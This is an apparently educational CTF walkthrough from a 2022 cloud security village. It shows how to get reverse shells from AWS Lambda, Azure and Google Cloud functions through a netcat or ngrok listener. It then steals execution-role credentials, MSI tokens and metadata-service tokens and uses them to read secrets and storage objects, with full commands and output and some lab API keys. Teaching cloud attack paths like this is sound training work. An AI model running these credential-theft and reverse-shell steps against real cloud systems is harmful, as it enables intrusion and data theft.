blog
Puma Security hosted the 2022 Hackers Teaching Hackers (HTH) Cloud Security Village.
The mission is to compromise a Cloud Function running in the Big 3 public cloud providers: AWS, Azure, and Google Cloud.
To get started, install the following tools on your machine:
For each cloud function, you need to exfiltrate the following data from the cloud:
Configuration Flag: Find the directory containing the function’s source code. You will find a configuration file with the first flag.
Service Account Credentials: Steal the function’s service account credentials. You will need them to exfiltrate the additional flags.
Secrets Manager Flag: Dump the function’s environment variables. You will find an environment variable pointing to a secret stored in the cloud. Use the stolen function credentials to read the flag
from the cloud provider’s secrets manager API.
Storage Service Flag: Review the configuration file again. You will find the name of a storage bucket and object. Use the stolen function credentials to read the storage object’s metadata and find the flag.
Each function is configured to use two URL parameters, which will allow you to exfiltrate the data.
host
: set this value to the ngrok
or cloud virtual machine’s public IP address.
port
: set this value to the ngrok
port or the cloud virtual machine’s nc
listener port.
To get started, set up a the reverse shell listener and environment variables for invoking the function endpoint. Select only one of the following options.
Sign up for a free tier ngrok account and install the binary.
Copy your ngrok authentication token and running the following command to activate the ngrok agent on your workstation.
ngrok authtoken ENTER_YOUR_AUTH_TOKEN
Open a new Terminal tab. Run the following command to start a netcat
listener on port 4444
:
Run this command from Mac and cloud based operating systems:
nc -l 4444
Kali Linux requires you to use the -p
switch before the port. Use nc -l -p 4444
from Kali Linux virtual machines.
nc -l -p 4444
Open a new Terminal tab. Run the following command to start an ngrok TCP tunnel on port 4444 to your netcat lister:
ngrok tcp 4444 --log /tmp/ngrok.json --log-format json
Open a new Terminal tab. Run the following commands to set the nc
host and port parameters.
NGROK_URL=$(cat /tmp/ngrok.json | jq -r 'select(.msg == "started tunnel").url' | tail -1 | awk 'BEGIN { FS="tcp://" }; { print $2 }')
NC_HOST=$(echo $NGROK_URL | awk 'BEGIN { FS=":" }; { print $1 }')
NC_PORT=$(echo $NGROK_URL | awk 'BEGIN { FS=":" }; { print $2 }')
echo "Ngrok tunnel $NC_HOST is listening on port $NC_PORT"
From a cloud hosted virtual machine with a public IP address, you won’t need to use ngrok
. Instead, open up a firewall rule (e.g. security group rule) that allows ingress traffic on port 4444.
Connect to your cloud hosted virtual machine over SSH.
Open a new Terminal tab. Run the following command to start a netcat listener on port 4444
:
nc -l 4444
Open a new Terminal tab. Run the following command to set the nc
host and port parameters.
NC_HOST=YOUR_VM_PUBLIC_IP_ADDRESS
NC_PORT=4444
The Panther function is a nodejs function hosted in AWS Lambda. Let’s start exfiltrating data from the function’s execution environment.
Using the same Terminal tab that has the NC_HOST
and NC_PORT
environment variables set, run the following command to set two additional environment variables for the PANTHER_URL
and PANTHER_API_KEY
:
PANTHER_FUNCTION_URL="https://uhbv7muwvznqybvh3izh4gq5sa0qtoqx.lambda-url.us-east-1.on.aws/"
PANTHER_API_KEY="iQIIHRwitv3WcBzcsPg7JEQ7LORjVJGH"
Run the following command to invoke the AWS Lambda function and establish the reverse shell. Note: The function timeout is 60 sections. You will need to reestablish this connection multiple times to exfiltrate all of the required data elements from the environment.
curl -s -H "X-Api-Key: $PANTHER_API_KEY" "$PANTHER_FUNCTION_URL?host=$NC_HOST&port=$NC_PORT"
While the function is running, switch back to the Terminal running your nc listener
. Run the id
command to verify the reverse shell is working. What user is executing the Lambda function?
Confirm the output displays the random sbx_user
executing the Lambda function.
uid=993(sbx_user1051) gid=990 groups=990
Run the pwd
command to view the current directory. What is the current directory?
Observe the process is executing inside the var/task
directory.
/var/task
List the contents of the /var/task
directory by running the ls /var/task
command. Do you see a configuration file that might contain the function’s environment details?
ls /var/task
Observe one of the files config.json
contains the function’s environment configuration data.
config.json
handler.js
package.json
package-lock.json
Dump the contents of the /var/task/config.json
file by running the cat /var/task/config.json
command. Do you see the Panther Configuration Flag?
cat /var/task/config.json
Observe the Panther Configuration Flag is stored in the database.pass
field.
{
"database": {
"user": "panther_user",
"pass": "WHAT_IS_THE_FLAG?"
},
"storage": {
"bucket": "DO_YOU_SEE_A_BUCKET_NAME?",
"object": "panther.jpg"
}
}
Congratulations, you have discovered the first AWS flag. Make sure you keep the contents of the config.json
file. You will need another configuration value to find the last flag.
To move laterally through the the victim’s AWS environment, you will need to steal the function’s service account credentials. In AWS Lambda, the Lambda execution role’s credentials are stored in the environment variables.
Dump the function’s environment variables by running the env
command.
env
Review the environment variables and locate the following values. You will need all of these values to exfiltrate the remaining flags from the victim’s cloud account.
AWS_ACCESS_KEY_ID
AWS_SECRET_ACCESS_KEY
AWS_SESSION_TOKEN
AWS_REGION
PANTHER_SECRET_ARN
At this point, you no longer need the reverse shell to find the remaining flags. You can authenticate directly to the victim’s AWS account using the function’s credentials. Open a new Terminal tab and export the following environment variables.
export AWS_ACCESS_KEY_ID="ENTER_YOUR_ACCESS_KEY_ID"
export AWS_SECRET_ACCESS_KEY="ENTER_YOUR_SECRET_ACCESS_KEY"
export AWS_SESSION_TOKEN="ENTER_YOUR_SESSION_TOKEN"
export AWS_REGION="ENTER_YOUR_REGION"
export PANTHER_SECRET_ARN="ENTER_THE_SECRET_ARN"
To exfiltrate the remaining Panther flags, you will need to install the AWS Command Line Interface.
Start by verifying the AWS CLI is authenticating under the Panther function’s execution role. Run the aws sts get-caller-identity
command to view the authenticated role’s details. The CLI is authenticating to AWS with the stolen function’s credentials.
{
"UserId": "AROAWFPTUW2CLID4TRYUR:serverless-prey-panther-4259ab66c461",
"Account": "123456789012",
"Arn": "arn:aws:sts::123456789012:assumed-role/panther-lambda-4259ab66c461-role/serverless-prey-panther-4259ab66c461"
}
Shift your focus to exfiltrating the Panther function’s $PANTHER_SECRET_ARN
by running the aws secretsmanager get-secret-value
command. Run the following command to view the Panther function’s secret value.
aws secretsmanager get-secret-value --secret-id $PANTHER_SECRET_ARN
Observe the Panther Secrets Manager Flag is stored in the SecretString
field.
{
"ARN": "arn:aws:secretsmanager:us-east-1:123456789012:secret:panther-3649deb9-9100-97b4-a4cc-15c5791a17e0-Iv6itT",
"Name": "panther-3649deb9-9100-97b4-a4cc-15c5791a17e0",
"VersionId": "CB66A796-6848-44FB-AA9C-51507153E8CB",
"SecretString": "WHAT_IS_THE_FLAG?",
...
}
To exfiltrate the final Panther flag, you will need to inspect the Panther function’s S3 bucket. The storage bucket and storage object details were acquired from the config.json
file.
Start by setting the PANTHER_BUCKET
environment variable to the environment’s storage bucket name found in the config.json
file.
export PANTHER_BUCKET="ENTER_YOUR_BUCKET_NAME"
Exfiltrate the storage object from the bucket using the aws s3api get-object
command. Run the following command to download the panther.jpg
file to your file system.
aws s3api get-object --bucket $PANTHER_BUCKET --key panther.jpg ~/Downloads/panther.jpg
Open the file. What a cute picture! But, there is no flag.
Examine the image’s metadata using the aws s3api get-object-tagging
command. Run the following command to view the panther.jpg
object’s tag values.
aws s3api get-object-tagging --bucket $PANTHER_BUCKET --key panther.jpg
Observe the response shows a base64
encoded flag. Decode the value to find the final Panther flag.
{
"TagSet": [
{
"Key": "flag",
"Value": "WHAT_IS_THE_FLAG?"
}
]
}
The Cougar function is a dotnet function hosted in Azure. Let’s start exfiltrating data from the function’s execution environment.
Using the same Terminal tab that has the NC_HOST
and NC_PORT
environment variables set, run the following command to set two additional environment variables for the COUGAR_FUNCTION_URL
and COUGAR_API_KEY
:
COUGAR_FUNCTION_URL="https://cougar504cca86ae.azurewebsites.net/api/Cougar"
COUGAR_API_KEY="FmcEO05TduG3rOjI0CYPN6lH2uwmQ1z3i2kzqeJsKqWPAzFuFjuqIQ=="
Run the following command to invoke the Azure function and establish the reverse shell. Note: The function timeout is 60 sections. You will need to reestablish this connection multiple times to exfiltrate all of the required data elements from the Lambda environment.
curl "$COUGAR_FUNCTION_URL?code=$COUGAR_API_KEY&host=$NC_HOST&port=$NC_PORT"
While the function is running, switch back to the Terminal running your nc listener
. Run the id
command to verify the reverse shell is working. What user is executing the Lambda function?
id
Confirm the output displays the random app
executing the Azure function.
uid=1000(app) gid=1000(app) groups=1000(app)
Run the pwd
command to view the current directory. What is the current directory?
pwd
Observe the process is executing inside the /
directory.
/
List the contents of the /home/site/wwwroot
directory by running the ls /home/site/wwwroot
command. Do you see a configuration file that might contain the function’s environment details?
ls /home/site/wwwroot
Observe one of the files appsettings.json
contains the function’s environment configuration data.
Cougar
Cougar.runtimeconfig.json
appsettings.json
bin
host.json
Dump the contents of the /home/site/wwwroot/appsettings.json
file by running the cat /home/site/wwwroot/appsettings.json
command. Do you see the Cougar Configuration Flag?
cat /home/site/wwwroot/appsettings.json
Observe the Cougar Configuration Flag is stored in the ConnectionStrings.DefaultConnection
field.
{
"ConnectionStrings": {
"DefaultConnection": "Server=10.42.42.42:8000;uid=cougar_user;pwd=WHAT_IS_THE_FLAG?"
},
"Storage" : {
"account" : "DO_YOU_SEE_A_STORAGE_ACCOUNT?",
"container" : "assets",
"blob" : "cougar.jpg"
}
}
Congratulations, you have discovered the first Azure flag. Make sure you keep the contents of the appsettings.json
file. You will need another configuration value to find the last flag.
To move laterally through the the victim’s Azure subscription, you will need to steal the function’s service account credentials. In Azure Functions, the Managed Service Identity (MSI) creates temporary credentials for accessing the backend Azure APIs.
Dump the function’s environment variables by running the env
command.
env
Review the environment variables and locate the following values. You will need all of these values to exfiltrate the remaining flags from the victim’s cloud account.
MSI_ENDPOINT
MSI_SECRET
COUGAR_KEY_VAULT_URL
COUGAR_SECRET_NAME
The MSI_ENDPOINT
and MSI_SECRET
environment variables are randomly generated for each function. These values point to the Managed Service Identity (MSI) endpoint that can be used to request JSON Web Tokens (JWT) for authenticating to other Azure services. Run the following commands to generate a JWT for accessing the Azure Storage and Azure Key Vault services. Run the following command in the reverse shell to request an Azure Storage token.
curl -s -H "Secret: $MSI_SECRET" "$MSI_ENDPOINT?api-version=2017-09-01&resource=https://storage.azure.com/" && echo
Observe the response contains a JSON Web Token (JWT) that can be used for authenticating to the Azure Storage API.
{"access_token":"STOLEN_STORAGE_TOKEN","expires_on":"10/23/2022 05:01:27 +00:00","resource":"https://storage.azure.com/","token_type":"Bearer","client_id":"5eD662a5-4a95-4c37-Ac6e-978daac560b4"}
Run the following command in the reverse shell to request an Azure Key Vault token.
curl -s -H "Secret: $MSI_SECRET" "$MSI_ENDPOINT?api-version=2017-09-01&resource=https://vault.azure.net" && echo
Observe the response contains a JSON Web Token (JWT) that can be used for authenticating to the Azure Key Vault API.
{"access_token":"STOLEN_VAULT_TOKEN","expires_on":"10/23/2022 05:01:21 +00:00","resource":"https://vault.azure.net","token_type":"Bearer","client_id":"5eD662a5-4a95-4c37-Ac6e-978daac560b4"}
At this point, you no longer need the reverse shell to find the remaining flags. You can authenticate directly to the victim’s Azure subscription using the function’s credentials. Open a new Terminal tab and export the following environment variables.
export AZURE_STORAGE_TOKEN="ENTER_YOUR_JWT"
export AZURE_VAULT_TOKEN="ENTER_YOUR_JWT"
export COUGAR_KEY_VAULT_URL="ENTER_THE_VAULT_URL"
export COUGAR_SECRET_NAME="ENTER_THE_SECRET_NAME"
To exfiltrate the Cougar Secrets Manager Flag, you will need to invoke the Key Vault API.
Run the following curl
command to view the COUGAR_SECRET_NAME
value in the COUGAR_KEY_VAULT_URL
key vault.
curl -s -H "Authorization: Bearer $AZURE_VAULT_TOKEN" "${COUGAR_KEY_VAULT_URL}secrets/$COUGAR_SECRET_NAME?api-version=7.0" | jq
Observe the Cougar Secrets Manager Flag is stored in the value
field.
{
"value": "WHAT_IS_THE_FLAG?",
"contentType": "",
"id": "https://cougar6ule93m8.vault.azure.net/secrets/cougar-0dbdda8f-7eb5-b2a1-47d4-3271032bf969/554d93d952954f03a9d6aa12384dec6b",
"attributes": {
"enabled": true,
"created": 1665526885,
"updated": 1665526885,
"recoveryLevel": "Recoverable+Purgeable"
},
"tags": {}
}
To exfiltrate the final Cougar flag, you will need to inspect the Cougar function’s Azure Storage account. The storage account container and blob details were acquired from the appsettings.json
file. Then, use the Azure Storage API to exfiltrate the object.
Start by setting the COUGAR_STORAGE_ACCOUNT
environment variable to the storage account name found in the appsettings.json
file.
export COUGAR_STORAGE_ACCOUNT="ENTER_YOUR_STORAGE_ACCOUNT_NAME"
Exfiltrate the blob object from the storage account by making a GET
request to the Azure Storage account. Run the following command to download the cougar.jpg
file to your file system.
curl -s -H "x-ms-version: 2017-11-09" -H "Authorization: Bearer $AZURE_STORAGE_TOKEN" "https://$COUGAR_STORAGE_ACCOUNT.blob.core.windows.net/assets/cougar.jpg" --output ~/Downloads/cougar.jpg
Open the file. What a cute picture! But, there is no flag.
Examine the image’s metadata to find the flag. Run the following command to inspect the image metadata using the HEAD
verb.
curl --head -H "x-ms-version: 2017-11-09" -H "Authorization: Bearer $AZURE_STORAGE_TOKEN" "https://$COUGAR_STORAGE_ACCOUNT.blob.core.windows.net/assets/cougar.jpg"
Observe the response returns the x-ms-meta-Flag
.
HTTP/1.1 200 OK
Content-Length: 47081
Content-Type: application/octet-stream
Last-Modified: Tue, 11 Oct 2022 22:18:47 GMT
Accept-Ranges: bytes
ETag: "0x8DAABD6913CCF80"
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: c2b955b1-001e-0023-28e0-e536fe000000
x-ms-version: 2017-11-09
x-ms-meta-Flag: WHAT_IS_THE_FLAG?
The Cheetah function is a Go function hosted in Google Cloud. Let’s start exfiltrating data from the function’s execution environment.
Using the same Terminal tab that has the NC_HOST
and NC_PORT
environment variables set, run the following command to set two additional environment variables for the CHEETAH_FUNCTION_URL
and CHEETAH_API_KEY
:
CHEETAH_FUNCTION_URL=https://us-east1-hth-2022-nov.cloudfunctions.net/serverless-prey-cheetah-aa1040c36d81
CHEETAH_API_KEY=OPaItdUNWC4eRrlyfeCIg6kM8v69v57y
Run the following command to invoke the Google Cloud function and establish the reverse shell. Note: The function timeout is 60 sections. You will need to reestablish this connection multiple times to exfiltrate all of the required data elements from the environment.
curl -H "X-API-Key: $CHEETAH_API_KEY" "$CHEETAH_FUNCTION_URL?host=$NC_HOST&port=$NC_PORT"
While the function is running, switch back to the Terminal running your nc listener
. Run the id
command to verify the reverse shell is working. What user is executing the Lambda function?
Confirm the output displays the random www-data
user executing the Google Cloud function.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Run the pwd
command to view the current directory. What is the current directory?
Observe the process is executing inside the /workspace
directory.
/workspace
Run the ls /workspace/serverless_function_source_code
command to view the contents of the source directory. Do you see a configuration file that might contain the function’s environment details?
Observe one of the files, cheetah.yaml
, contains the function’s environment configuration data.
cheetah.go
cheetah.yaml
go.mod
go.sum
Run the cat /workspace/serverless_function_source_code/cheetah.yaml
command to dump the contents of the file. Do you see the Cheetah Configuration Flag?
Observe the Cheetah Configuration Flag is stored in the database.pass
field.
# Server configurations
server:
host: "10.42.42.42"
port: 8000
# Database credentials
database:
user: "cheetah_user"
pass: "WHAT_IS_THE_FLAG?"
# Storage bucket
gcs:
bucket: "DO_YOU_SEE_A_BUCKET_NAME?"
object: "cheetah.jpg"
Congratulations, you have discovered the first Google Cloud flag. Make sure you keep the contents of the cheetah.yaml
file. You will need another configuration value to find the last flag.
To move laterally through the the victim’s GCP project, you will need to steal the function’s service account credentials. In Google Cloud Functions, the Instance Metadata Service (IMDS) creates temporary credentials for accessing the GCP APIs.
Starting by dumping the function’s environment variables by running the env
command.
Review the environment variables and locate the following values. You will need these values to exfiltrate the remaining flags from the victim’s cloud account.
CHEETAH_PROJECT_ID
CHEETAH_SECRET_NAME
Query the Instance Metadata Service (IMDS) for an OAuth Bearer token.
curl -s -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Observe the response contains an OAuth Bearer token that can be used for authenticating to the Google Cloud APIs.
{"access_token":"STOLEN_GCP_TOKEN","expires_in":1799,"token_type":"Bearer"}
At this point, you no longer need the reverse shell to find the remaining flags. You can authenticate directly to the victim’s GCP project using the function’s credentials. Open a new Terminal tab and export the following environment variables. Note: Make sure to include the padding (trailing period characters) in the access token.
export GCP_TOKEN="ENTER_YOUR_TOKEN"
export CHEETAH_PROJECT_ID="ENTER_YOUR_PROJECT_ID"
export CHEETAH_SECRET_NAME="ENTER_THE_SECRET_NAME"
To exfiltrate the Cheetah Secrets Manager Flag, you will need to invoke the Secrets Manger API.
Run the following curl
command to view the CHEETAH_SECRET_NAME
secrets manager value.
curl -s -H "Authorization: Bearer $GCP_TOKEN" https://secretmanager.googleapis.com/v1beta1/projects/$CHEETAH_PROJECT_ID/secrets/$CHEETAH_SECRET_NAME/versions/latest:access | jq
Observe the Cheetah Secrets Manager Flag is as a base64
encoded value in the data
field. Decode the value to find the flag.
{
"name": "projects/123456789012/secrets/cheetah-c5afe051-dc0e-34e0-df4d-b65be7bd6e7b/versions/1",
"payload": {
"data": "WHAT_IS_THE_FLAG?"
}
}
To exfiltrate the final Cheetah flag, you will need to inspect the Cheetah function’s bucket. The Cloud Storage bucket was acquired from the cheetah.yaml
configuration file. Then, use the Cloud Storage API to exfiltrate the object.
Start by setting the GCP_BUCKET
environment variable to the bucket name found in the cheetah.yaml
file.
export GCP_BUCKET="ENTER_YOUR_BUCKET_NAME"
Exfiltrate the object from the storage bucket by making a GET
request to the GCS API.
curl -s -H "Authorization: Bearer $GCP_TOKEN" "https://storage.googleapis.com/storage/v1/b/$GCP_BUCKET/o/cheetah.jpg?alt=media" --output ~/Downloads/cheetah.jpg
Open the file. What a cute picture! But, there is no flag.
Examine the image’s metadata to find the flag.
curl -s -H "Authorization: Bearer $GCP_TOKEN" "https://storage.googleapis.com/storage/v1/b/$GCP_BUCKET/o/cheetah.jpg"
Observe the response returns the object metadata, which includes the final flag.
{
"kind": "storage#object",
"id": "cheetah-1c504e5f-dfa9-f266-4cb7-7a6d2f521e09/cheetah.jpg/1665531131912276",
"selfLink": "https://www.googleapis.com/storage/v1/b/cheetah-1c504e5f-dfa9-f266-4cb7-7a6d2f521e09/o/cheetah.jpg",
"mediaLink": "https://storage.googleapis.com/download/storage/v1/b/cheetah-1c504e5f-dfa9-f266-4cb7-7a6d2f521e09/o/cheetah.jpg?generation=1665531131912276&alt=media",
"name": "cheetah.jpg",
"bucket": "cheetah-1c504e5f-dfa9-f266-4cb7-7a6d2f521e09",
"generation": "1665531131912276",
"metageneration": "1",
"contentType": "image/jpeg",
"storageClass": "STANDARD",
"size": "104368",
"md5Hash": "+J1a2vdc98xIawq3B9heAQ==",
"crc32c": "4Fz3iw==",
"etag": "CNTA6/uq2foCEAE=",
"timeCreated": "2022-10-11T23:32:11.917Z",
"updated": "2022-10-11T23:32:11.917Z",
"timeStorageClassUpdated": "2022-10-11T23:32:11.917Z",
"metadata": {
"flag": "WHAT_IS_THE_FLAG?"
}
}
Congratulations, you have completed the HTH Cloud Security Village. We hope you enjoyed learning how to exfiltrate service account credentials from the cloud Functions as a Service (FaaS) platforms: Lambda, Azure Functions, and Cloud Functions. After stealing the function’s credentials, you saw how simple it is to use those credentials for exfiltrating secrets and storage data.
The environment you attacked was built using the Serverless Prey open source project. Feel free to explore the repository to see how Terraform deploys and configures the environment. Feel free to deploy the functions into your own cloud accounts, teach other folks how to exfiltrate credentials, and expand the project to pivot into other cloud services.
Eric Johnson is a co-founder and Principal Security Engineer at Puma Security. His experience includes performing cloud security reviews, infrastructure as code automation, application security automation, web and mobile application penetration testing, secure development lifecycle consulting, and secure code review assessments.
Eric is also a Senior Instructor with the SANS Institute where he authors information security courses on cloud security, DevSecOps automation, and secure coding. He delivers security training globally for SANS, as well as presents security research at conferences including RSA, BlackHat, OWASP, BSides, DevOpsDays, fwd:cloudsec, and ISSA.